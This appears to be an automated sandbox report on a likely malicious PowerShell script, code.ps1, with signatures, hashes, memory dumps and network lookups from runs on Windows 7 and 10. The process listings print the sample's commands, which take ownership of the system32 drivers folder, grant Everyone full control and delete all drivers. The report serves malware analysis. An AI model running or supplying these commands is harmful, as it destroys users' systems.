Analysis Overview
SHA256
1059a9f91a8ba0b0d896499bcb9fb70001303c222b41000ff76ad621663e0486
Threat Level: Likely malicious
The file code.ps1 was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Command and Scripting Interpreter: PowerShell
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 20:36
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 20:36
Reported
2024-08-09 20:37
Platform
win7-20240708-en
Max time kernel
15s
Max time network
19s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\drivers\* >nul 2>&1"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\drivers\*
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\drivers\* /grant Everyone:(F) >nul 2>&1"
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\drivers\* /grant Everyone:(F)
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\drivers\* >nul 2>&1"
C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T
Network
Files
memory/2980-4-0x000007FEF59CE000-0x000007FEF59CF000-memory.dmp
memory/2980-5-0x000000001B470000-0x000000001B752000-memory.dmp
memory/2980-6-0x0000000002790000-0x0000000002798000-memory.dmp
memory/2980-7-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp
memory/2980-8-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp
memory/2980-9-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp
memory/2980-10-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp
memory/2980-11-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 20:36
Reported
2024-08-09 20:37
Platform
win10v2004-20240802-en
Max time kernel
11s
Max time network
11s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\drivers\* >nul 2>&1"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\drivers\*
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\drivers\* /grant Everyone:(F) >nul 2>&1"
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\drivers\* /grant Everyone:(F)
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\drivers\* >nul 2>&1"
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
Files
memory/1876-0-0x00007FF844513000-0x00007FF844515000-memory.dmp
memory/1876-1-0x000001E617460000-0x000001E617482000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0dyo3rcu.c2r.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1876-11-0x00007FF844510000-0x00007FF844FD1000-memory.dmp
memory/1876-12-0x00007FF844510000-0x00007FF844FD1000-memory.dmp
memory/1876-15-0x00007FF844510000-0x00007FF844FD1000-memory.dmp